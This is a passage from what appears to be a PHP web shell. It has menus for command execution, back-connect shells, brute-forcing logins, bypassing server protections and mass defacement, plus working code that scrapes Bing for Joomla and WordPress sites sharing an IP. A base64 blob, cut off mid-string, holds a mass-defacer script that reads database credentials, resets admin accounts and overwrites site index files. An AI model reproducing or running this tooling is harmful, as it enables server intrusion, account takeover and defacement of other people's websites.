7166<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
7167<a href="?action=prlbckacnonect">Perl BackConnect</a> -
7168<a href="?action=pythnonbakcncete">Python BackConnect</a> -
7169<a href="?action=exploit">Exploit</a> -
7170<a href="?action=whmcskillrer">Whcms Killer</a> -
7171<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
7172<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
7173</center>
7174</b>';
7175echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Joomla Reverse Server</span></font></center><br>';
7176echo '<center>
7177<form method="post" action="" enctype="multipart/form-data">
7178<input type="text" name="ip" value="" placeholder="Extract From ip" size="15"> <input type=submit name=get value= Get />
7179<br> <br>
7180<textarea class="area"name="sites" cols="40" rows="13">';
7181if(isset($_POST['get']) && $_POST['ip'] != ""){
7182 $target = $_POST['ip'];
7183 $sites = mbing("ip:$target index.php?option=com");
7184 if(!empty($sites)){
7185 $targets = implode("\n",cln_arr(array_map("jos_site",$sites)));
7186 echo $targets;
7187 }else{
7188 echo "No Joomla Found.";
7189 }
7190}
7191echo '</textarea></center>';
7192
7193function mbing($what){
7194 for($i = 1; $i <= 2000; $i += 10){
7195 $ch = curl_init();
7196 curl_setopt ($ch, CURLOPT_URL, "http://www.bing.com/search?q=".str_replace(" ","+", $what)."&first=$i");
7197 curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16");
7198 curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
7199 curl_setopt ($ch, CURLOPT_COOKIEFILE,getcwd().'/cookie.txt');
7200 curl_setopt ($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
7201 curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
7202 curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
7203 $data = curl_exec($ch);
7204 preg_match_all('#<h2 class="sb_h3 cttl"><a href="(https?://.*?)" _ctf="rdr_T"#',$data, $links);
7205 foreach($links[1] as $link){
7206 $allLinks[] = $link;
7207 }
7208 if(!preg_match('#class="sb_pagN"#',$data)) break;
7209 }
7210
7211 if(!empty($allLinks) && is_array($allLinks)){
7212 return array_unique($allLinks);
7213 }
7214}
7215
7216function cln_arr($array){
7217 return @array_filter(@array_unique($array));
7218}
7219function jos_site($site){
7220 return (preg_match("/option/",$site)) ? preg_replace("#(.*?)/index(.*)|(.*?)/?option(.*)#","$1/",$site):false;
7221}
7222}
7223if(isset($_GET['action']) && $_GET['action'] == 'wordddprssrrrvrse'){
7224echo '<center><b class="conte">
7225<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
7226<a href="?action=cmd">Command Execution</a> -
7227<a href="?action=com64">Base64 Command</a> -
7228<a href="?action=vgrab">Config Grabber</a> -
7229<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
7230<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -
7231<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
7232<a href="?action=cari">Find Directory Writable/Readable</a> -
7233<a href="?action=zonh">Zone-h Notifier</a> -
7234<a href="?action=shhhshell">Shtml Command Shell</a> -
7235<a href="?action=beko">Back connect Simple</a> -
7236<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
7237<a href="?action=prlbckacnonect">Perl BackConnect</a> -
7238<a href="?action=pythnonbakcncete">Python BackConnect</a> -
7239<a href="?action=exploit">Exploit</a> -
7240<a href="?action=whmcskillrer">Whcms Killer</a> -
7241<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
7242<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
7243</center>
7244</b>';
7245
7246echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Wordpress Reverse Server</span></center><br>";
7247echo '<center>
7248<form method="post" action="" enctype="multipart/form-data">
7249<input type="text" name="ip" value="" placeholder="Extract From ip" size="15"> <input type=submit name=get value= Get /><br>
7250<br />
7251<textarea class="area" name="sites" cols="40" rows="13">';
7252if(isset($_POST['get']) && $_POST['ip'] != ""){
7253 $target = $_POST['ip'];
7254 $dorks = array('/?page_id=', '/wp-content/');
7255 foreach($dorks as $dork){
7256 $sites = mbing("ip:$target $dork");
7257 if(!empty($sites)){
7258 $targets = implode("\n",cln_arr(array_map("wp_site",$sites)));
7259 echo $targets."\n";
7260 }
7261 }
7262
7263}
7264echo '</textarea></center>';
7265
7266function mbing($what){
7267 for($i = 1; $i <= 2000; $i += 10){
7268 $ch = curl_init();
7269 curl_setopt ($ch, CURLOPT_URL, "http://www.bing.com/search?q=".str_replace(" ","+", $what)."&first=$i");
7270 curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16");
7271 curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
7272 curl_setopt ($ch, CURLOPT_COOKIEFILE,getcwd().'/cookie.txt');
7273 curl_setopt ($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
7274 curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
7275 curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
7276 $data = curl_exec($ch);
7277 preg_match_all('#<h2 class="sb_h3 cttl"><a href="(https?://.*?)" _ctf="rdr_T"#',$data, $links);
7278 foreach($links[1] as $link){
7279 $allLinks[] = $link;
7280 }
7281 if(!preg_match('#class="sb_pagN"#',$data)) break;
7282 }
7283
7284 if(!empty($allLinks) && is_array($allLinks)){
7285 return array_unique($allLinks);
7286 }
7287}
7288
7289function cln_arr($array){
7290 return @array_filter(@array_unique($array));
7291}
7292
7293function wp_site($site){
7294 return (eregi("wp-content",$site) or eregi("page_id=",$site)) ? str_replace("?","",preg_replace("#(.*?)/(\?page_id=|wp-content)(.*)#","$1",$site)):false;
7295}
7296}
7297
7298if(isset($_GET['action']) && $_GET['action'] == 'tule'){
7299?>
7300<br><center><b class="cont" align="center">
7301<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a><br><br>
7302<a href="?action=cmd">Command Execution</a><br><br>
7303<a href="?action=com64">Base64 Command</a><br><br>
7304<a href="?action=vgrab">Config Grabber</a><br><br>
7305<a href="?action=subdomainchkrezes">Subdomain Checker</a><br><br>
7306<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a><br><br>
7307<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a><br><br>
7308<a href="?action=cari">Find Directory Writable/Readable</a><br><br>
7309<a href="?action=zonh">Zone-h Notifier</a><br><br>
7310<a href="?action=shhhshell">Shtml Command Shell</a><br><br>
7311<a href="?action=beko">Back connect Simple</a><br><br>
7312<a href="?action=rubybckconnnect">Ruby BackConnect</a><br><br>
7313<a href="?action=prlbckacnonect">Perl BackConnect</a><br><br>
7314<a href="?action=pythnonbakcncete">Python BackConnect</a><br><br>
7315<a href="?action=exploit">Exploit</a><br><br>
7316<a href="?action=whmcskillrer">Whcms Killer</a><br><br>
7317<a href="?action=webmllllpwdchnger">Webmail Password Changer</a><br><br>
7318<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a><br><br>
7319</center>
7320</b>
7321<?php
7322}
7323if(isset($_GET['action']) && $_GET['action'] == 'sime'){
7324?>
7325<br><center><b class="cont" align="center">
7326<a href="?action=sym">Symlink Info</a><br><br>
7327<a href="?action=dose">Cms Scanner</a><br><br>
7328<a href="?action=vkill">Perl based symlink</a><br><br>
7329<a href="?action=file">Symlink Manual</a><br><br>
7330<a href="?action=manu">Manually Retrieve Config</a><br><br>
7331<a href="?action=ensim">Enable Symlink If Disabled</a><br><br>
7332<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a><br><br>
7333<a href="?action=simby">Symlink Bypass 2014</a></b><br></center>
7334</b>
7335<?php
7336}
7337if(isset($_GET['action']) && $_GET['action'] == 'brut'){
7338?>
7339<br><center><b class="cont" align="center">
7340<a href="?action=skybru">Skype Brute Force</a><br><br>
7341<a href="?action=cpbru">Cpanel Brute Force</a><br><br>
7342<a href="?action=jmbru">Joomla Brute Force</a><br><br>
7343<a href="?action=wpbru">Wordpress Brute Force</a><br><br>
7344<a href="?action=twbru">Twitter Brute Force</a><br><br>
7345<a href="?action=ghbru">Gmail & Hotmail Brute Force</a><br><br>
7346<a href="?action=ftpbrtfrcee">Ftp Bruteforce</a><br><br>
7347</center>
7348</b>
7349<?php
7350}
7351if(isset($_GET['action']) && $_GET['action'] == 'baipas'){
7352?>
7353<br><center><b class="cont" align="center">
7354<a href="?action=grasy">Bypass /etc/passwd</a><br><br>
7355<a href="?action=nemcon">Bypass Users Server</a><br><br>
7356<a href="?action=cgipl">Bypass Perl Security</a><br><br>
7357<a href="?action=bypsrootwzp">Bypass Root Path with Zip File</a><br><br>
7358<a href="?action=bforb">Bypass Root Path with system function</a><br><br>
7359<a href="?action=rootexecbpass">Bypass Root Path with exec function</a><br><br>
7360<a href="?action=rootshelleexecbpass">Bypass Root Path with shell_exec function</a><br><br>
7361<a href="?action=posget">Bypass posix_getpwuid</a><br><br>
7362<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a><br><br>
7363<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a><br><br>
7364<a href="?action=setphr">Bypass suPHP Security</a><br><br>
7365<a href="?action=simpelb">Simple Bypasser</a><br><br>
7366<a href="?action=ritf">Read Files</a><br><br>
7367<a href="?action=baidir">Bypass Chmod Directory</a><br><br>
7368<a href="?action=forb14">Bypass Forbidden 2014</a><br><br>
7369<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a><br><br></center>
7370<br></b>
7371<?php
7372}
7373if(isset($_GET['action']) && $_GET['action'] == 'mase'){
7374?>
7375<br><center><b class="cont" align="center">
7376<a href="?action=mass">Mass Deface Dirs</a><br><br>
7377<a href="?action=joomla">Mass Change Admin Joomla</a><br><br>
7378<a href="?action=vb">Mass Change Admin vBulletin</a><br><br>
7379<a href="?action=wp">Mass Change Admin Mass WordPress</a><br><br>
7380<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a><br><br>
7381<a href="?action=wrdprshtmlinj">Wordpress Hijack Index Priv8</a><br><br>
7382<a href="?action=joommlallainxc">Joomla Index Changer</a><br><br>
7383<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a><br><br>
7384<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a><br><br>
7385</center>
7386</b>
7387<?php
7388}
7389if(isset($_GET['action']) && $_GET['action'] == 'sesc'){
7390?>
7391<br><center><b class="cont" align="center">
7392<a href="?action=exgz">Bypass Server Security Functions</a><br><br>
7393<a href="?action=tespr">Test Permission</a><br><br>
7394<a href="?action=srvrinformations">Server Infos</a><br><br></center>
7395</b>
7396<?php
7397}
7398if(isset($_GET['action']) && $_GET['action'] == 'wpandjmlamassdfce'){
7399echo '<center><b class="conte">
7400<a href="?action=mass">Mass Deface Dirs</a> -
7401<a href="?action=joomla">Mass Change Admin Joomla</a> -
7402<a href="?action=vb">Mass Change Admin vBulletin</a> -
7403<a href="?action=wp">Mass Change Admin WordPress</a> -
7404<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
7405<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
7406<a href="?action=joommlallainxc">Joomla Index Changer</a> -
7407<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
7408<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
7409</b>';
7410//extract script
7411$gfgf4fff = 'PD9waHANCi8qDQpXb3JkcHJlc3MgJiBKb29tbGEgTWFzcyBEZWZhY2VyIFYyDQpOb3QgQ29kZWQgQnkgQW5vbkdob3N0T2ZmaWNpYWwgLCBidXQgb25seSB0aGUgZGVzaWduDQpmYWNlYm9vayA6IC9Bbm9uR2hvc3RPZmZpY2lhbDINCg0KdGhpcyB2ZXJzaW9uIHVzZXMgdHdvIG1ldGhvZHMgZm9yIGdldHRpbmcgc2l0ZXMgJiB1c2VycyAmIGNvbmZpZyBmaWxlDQpbK10gdGhlIGZpcnN0IG1ldGhvZCBpcyBnZXR0aW5nIGV2ZXJ5dGhpbmcgYWJvdXQgdGhlIGRvbWFpbiBmcm9tICggL2V0Yy9uYW1lZC5jb25mICkgLCBhbmQgZGVmYWNpbmcNClsrXSB0aGUgc2Vjb25kIG1ldGhvZCBpcyBnZXR0aW5nIHNpdGVzIG5hbWVzIGZyb20gKCAvdmFyL25hbWVkICkgLCB0aGVuIGNvbGxlY3RpbmcgdXNlcm5hbWVzIG5hZCBkZWZhY2luZw0KDQpkb24ndCB3b3JyeSBhYm91dCB0aGUgYmFzZTY0IGVuY3J5cHRpb24gaW4gbGluZXMgMjAgYW5kIDI1ICwganVzdCB0aGUgc3R5bGUgLCBhbmQgdGhlIHNjcmlwdCBuYW1lDQp5b3UgY2FuIGRlY29kZSBhbmQgY2hlY2sgdGhlbSBpZiB5b3UgZG9uJ3QgdHJ1c3QgbWUgOykNCiovDQplY2hvICcNCjxodG1sPg0KPC9oZWFkPg0KPHRpdGxlPkFub25HaG9zdCAgOiBXb3JkcHJlc3MgJiBKb29tbGEgTWFzcyBEZWZhY2VyPC90aXRsZT4NCjxsaW5rIGhyZWY9Imh0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PU9yYml0cm9uOjcwMCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+DQo8Y2VudGVyPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCnRhYmxlLGJvZHkgew0KYmFja2dyb3VuZC1pbWFnZTogdXJsKCJodHRwOi8vaW1nMTUuaG9zdGluZ3BpY3MubmV0L3BpY3MvMTE1ODMwdGxjaGFyZ2VtZW50LnBuZyIpOw0KYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDsNCmJhY2tncm91bmQtcG9zaXRpb246IGNlbnRlcjsNCmNvbG9yOmJsYWNrOw0KZm9udC1mYW1pbHk6ICJUcmVidWNoZXQgTVMiLEFyaWFsO2JhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDttYXJnaW46MDtwYWRkaW5nOjA7fQ0KLmhlYWRlciB7cG9zaXRpb246Zml4ZWQ7d2lkdGg6MTAwJTt0b3A6MDtiYWNrZ3JvdW5kOiMwMDA7fQ0KLmZvb3RlciB7cG9zaXRpb246Zml4ZWQ7d2lkdGg6MTAwJTtib3R0b206MDtiYWNrZ3JvdW5kOiMwMDA7fQ0KaW5wdXRbdHlwZT0ic3VibWl0Il17YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDI1LDI1LDI1LDAuNik7Ym9yZGVyOjE7IHBhZGRpbmc6MnB4OyBmb250LXNpemU6MjVweDtmb250LWZhbWlseTpvcmJpdHJvbjsgY29sb3I6cmVkO2JvcmRlcjoycHggc29saWQgd2hpdGU7bWFyZ2luOjRweCA0cHggOHB4IDA7fQ0KaW5wdXRbdHlwZT0ic3VibWl0Il06aG92ZXJ7Y29sb3I6U2VhU2hlbGw7fQ0KaW5wdXRbdHlwZT0idGV4dCJdOmhvdmVye2JhY2tncm91bmQ6IzIyMjIyMjt9DQppbnB1dFt0eXBlPSJyYWRpbyJde21hcmdpbi10b3A6IDA7fQ0KLnRkMiB7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkIHJlZDtib3JkZXItcmFkaXVzOiAycHggMnB4IDJweCAycHg7fQ0KaW5wdXRbdHlwZT0idGV4dCJdIHtvdXRsaW5lOm5vbmU7dHJhbnNpdGlvbjogYWxsIDAuMjBzIGVhc2UtaW4tb3V0Oy13ZWJraXQtdHJhbnNpdGlvbjogYWxsIDAuMjBzIGVhc2UtaW4tb3V0Oy1tb3otdHJhbnNpdGlvbjogYWxsIDAuMjBzIGVhc2UtaW4tb3V0Oy1tb3otYm9yZGVyLXJhZGl1czogNnB4OyBib3JkZXItcmFkaXVzOiAxMnB4O2JhY2tncm91bmQ6IzExMTExMTsgYm9yZGVyOjE7IHBhZGRpbmc6MnB4OyBmb250LWZhbWlseTpvcmJpdHJvbjsgZm9udC1zaXplOjE1cHg7IGNvbG9yOiNmZmZmZmY7Ym9yZGVyOjJweCBzb2xpZCAjNEM4M0FGO21hcmdpbjo0cHggNHB4IDhweCAwO30NCi5ldmVuIHtiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDI1LCAyNSwgMjUsIDAuNik7fQ0KLm9kZCB7YmFja2dyb3VuZC1jb2xvcjogcmdiYSgxMDIsIDEwMiwgMTAyLCAwLjYpO30NCmEge2NvbG9yOiNmZmY7fSBhOmhvdmVyIHtjb2xvcjpyZWQ7fQ0KZmllbGRzZXR7Ym9yZGVyOiAxcHggc29saWQgZ3JleTsgYmFja2dyb3VuZDogcmdiYSgwLDAsMCwwLjcpOyB3aWR0aDogNjAwcHg7IG1hcmdpbjogMCBhdXRvO21pbi1oZWlnaHQ6MjQwcHg7fQ0KdGV4dGFyZWF7YmFja2dyb3VuZDogcmdiYSgwLDAsMCwwLjYpOyBjb2xvcjogd2hpdGU7fQ0KLmdyZWVuIHtjb2xvcjojMDBGRjAwO2ZvbnQtd2VpZ2h0OmJvbGQ7fQ0KLnJlZCB7Y29sb3I6I0ZGMDAwMDtmb250LXdlaWdodDpib2xkO30NCi5raWxsbWUge2ZvbnQtZmFtaWx5Om9yYml0cm9uO3Bvc2l0aW9uOiBmaXhlZDsgdG9wOiAyMHB4OyByaWdodDogMjBweDsgYm9yZGVyOiAycHggc29saWQgIzRDODNBRjsgcGFkZGluZzogMTBweDsgZm9udC1zaXplOiAyMHB4OyBjb2xvcjogd2hpdGU7IGZvbnQtd2VpZ2h0OiBib2xkO30NCiANCi5yZXN1bHQge2JvcmRlcjoycHggc29saWQgIzRDODNBRjstbW96LWJvcmRlci1yYWRpdXM6MTBweDtib3JkZXItcmFkaXVzOjEwcHg7fSANCg0KPC9zdHlsZT4NCiA8Y2VudGVyPjxoMT5Bbm9uR2hvc3QgV29yZHByZXNzICYgSm9vbWxhIE1hc3MgRGVmYWNlciA8L2gxPjwvY2VudGVyPg0KIDwvaGVhZD4NCiA8Ym9keT4nOw0KDQoNCi8vIGdldHRpbmcgaW5mbyBmcm9tIGluc2lkZSA6KQ0KZnVuY3Rpb24gdHVuaXNpYSgkdGV4dCwkYmlkZXlhLCRuaWhleWEsJGk9MSl7DQogICAgJGFyMD1leHBsb2RlKCRiaWRleWEsICR0ZXh0KTsNCiAgICAkYXIxPWV4cGxvZGUoJG5paGV5YSwgJGFyMFskaV0pOw0KICAgIHJldHVybiB0cmltKCRhcjFbMF0pOw0KfQ0KDQpmdW5jdGlvbiByYW5kb210KCkgew0KICAgICRjaGFycyA9ICJhYmNkZWZnaGlqa21ub3BxcnN0dXZ3eHl6MDIzNDU2Nzg5IjsNCiAgICBzcmFuZCgoZG91YmxlKW1pY3JvdGltZSgpKjEwMDAwMDApOw0KICAgICRpID0gMDsNCiAgICAkcGFzcyA9ICcnOw0KICAgIHdoaWxlICgkaSA8PSA3KSB7DQogICAgICAgICRudW0gPSByYW5kKCkgJSAzMzsNCiAgICAgICAgJHRtcCA9IHN1YnN0cigkY2hhcnMsICRudW0sIDEpOw0KICAgICAgICAkcGFzcyA9ICRwYXNzIC4gJHRtcDsNCiAgICAgICAgJGkrKzsNCiAgICB9DQogICAgcmV0dXJuICRwYXNzOw0KfQ0KDQovLyBqb29tbGEgaW5kZXggY2hhbmdlcg0KZnVuY3Rpb24gaW5kZXhfY2hhbmdlcl9qb29tbGEoJGNvbmYsICRpbmRleF9zaXRlLCAkZG9tYWluKSB7DQoNCiRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGluZGV4X3NpdGUpOw0KICAgICRkb2xlciA9ICckJzsNCiAgICAkdXNlcm5hbWUgPSB0dW5pc2lhKCRjb25mLCAkZG9sZXIuInVzZXIgPSAnIiwgIic7Iik7DQogICAgJHBhc3N3b3JkID0gdHVuaXNpYSgkY29uZiwgJGRvbGVyLiJwYXNzd29yZCA9ICciLCAiJzsiKTsNCiAgICAkZGJuYW1lID0gdHVuaXNpYSgkY29uZiwgJGRvbGVyLiJkYiA9ICciLCAiJzsiKTsNCiAgICAkcHJlZml4ID0gdHVuaXNpYSgkY29uZiwgJGRvbGVyLiJkYnByZWZpeCA9ICciLCAiJzsiKTsNCiAgICAkaG9zdCA9IHR1bmlzaWEoJGNvbmYsICRkb2xlci4iaG9zdCA9ICciLCInOyIpOw0KICAgICRjbz1yYW5kb210KCk7DQogICAgJHNpdGVfdXJsID0gImh0dHA6Ly8iLiRkb21haW4uIi9hZG1pbmlzdHJhdG9yIjsNCiAgICAkb3V0cHV0ID0gJyc7DQogICAgJGNvbmQgPSAwOyANCiAgICAkbGluaz1teXNxbF9jb25uZWN0KCRob3N0LCAkdXNlcm5hbWUsICRwYXNzd29yZCk7DQogICAgaWYoJGxpbmspIHsNCiAgICAgICAgbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUsJGxpbmspIDsNCiAgICAgICAgJHJlcTEgPSBteXNxbF9xdWVyeSgiVVBEQVRFIGAiLiRwcmVmaXguInVzZXJzYCBTRVQgYHVzZXJuYW1lYCA9J2FkbWluJyAsIGBwYXNzd29yZGAgPSAnNDI5N2Y0NGIxMzk1NTIzNTI0NWIyNDk3Mzk5ZDdhOTMnLCBgdXNlcnR5cGVgID0gJ1N1cGVyIEFkbWluaXN0cmF0b3InLCBgYmxvY2tgID0gMCIpOw0KICAgICAgICAkcmVxID0gbXlzcWxfbnVtcm93cyhteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVMgTElLRSAnIi4kcHJlZml4LiJleHRlbnNpb25zJyIpKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkb3V0cHV0Lj0gIlstXSBEQiBFcnJvcjxiciAvPiI7DQogICAgfQ0KICAgIA0KICAgIGlmKCRyZXExKXsNCiAgICAgICAgaWYgKCRyZXEpIHsNCiRyZXEgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIuJHByZWZpeC4idGVtcGxhdGVfc3R5bGVzYCBXSEVSRSBgY2xpZW50X2lkYCA9ICcwJyBhbmQgYGhvbWVgID0gJzEnIik7DQokZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KJHRlbXBsYXRlX25hbWUgPSAkZGF0YVsidGVtcGxhdGUiXTsNCg0KJHJlcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIi4kcHJlZml4LiJleHRlbnNpb25zYCBXSEVSRSBgbmFtZWA9JyIuJHRlbXBsYXRlX25hbWUuIicgb3IgYGVsZW1lbnRgID0gJyIuJHRlbXBsYXRlX25hbWUuIiciKTsNCiRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7DQokdGVtcGxhdGVfaWQgPSAkZGF0YVsiZXh0ZW5zaW9uX2lkIl07DQoNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocCI7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KJHJldHVybiA9IHR1bmlzaWEoJGJ1ZmZlciAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJldHVybiIgdmFsdWU9IicsJyInKTsNCiRoaWRkZW4gPSB0dW5pc2lhKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsNCk7DQoNCmlmKCRyZXR1cm4gJiYgJGhpZGRlbikgew0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFRkVSRVIsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAidXNlcm5hbWU9YWRtaW4mcGFzc3dkPTEyMzEyMyZvcHRpb249Y29tX2xvZ2luJnRhc2s9bG9naW4mcmV0dXJuPSIuJHJldHVybi4iJiIuJGhpZGRlbi4iPTEiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KJHBvcyA9IHN0cnBvcygkYnVmZmVyLCJjb21fY29uZmlnIik7DQppZigkcG9zID09PSBmYWxzZSkgew0KJG91dHB1dC49ICJbLV0gTG9naW4gRXJyb3I8YnIgLz4iOw0KfSBlbHNlIHsNCiRvdXRwdXQuPSAiWytdIExvZ2luIFN1Y2Nlc3NmdWw8YnIgLz4iOw0KfQ0KfQ0KaWYoJHBvcyl7DQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHA/b3B0aW9uPWNvbV90ZW1wbGF0ZXMmdGFzaz1zb3VyY2UuZWRpdCZpZD0iLmJhc2U2NF9lbmNvZGUoJHRlbXBsYXRlX2lkLiI6aW5kZXgucGhwIik7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokaGlkZGVuMj10dW5pc2lhKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsMik7DQppZigkaGlkZGVuMikgew0KJG91dHB1dC49ICJbK10gaW5kZXgucGhwIGZpbGUgZm91bmQgaW4gVGhlbWUgRWRpdG9yPGJyIC8+IjsNCn0gZWxzZSB7DQokb3V0cHV0Lj0gIlstXSBpbmRleC5waHAgTm90IGZvdW5kIGluIFRoZW1lIEVkaXRvcjxiciAvPiI7DQp9DQp9DQppZigkaGlkZGVuMikgew0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwP29wdGlvbj1jb21fdGVtcGxhdGVzJmxheW91dD1lZGl0IjsNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsImpmb3JtW3NvdXJjZV09Ii4kY29udGVudC4iJmpmb3JtW2ZpbGVuYW1lXT1pbmRleC5waHAmamZvcm1bZXh0ZW5zaW9uX2lkXT0iLiR0ZW1wbGF0ZV9pZC4iJiIuJGhpZGRlbjIuIj0xJnRhc2s9c291cmNlLnNhdmUiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvc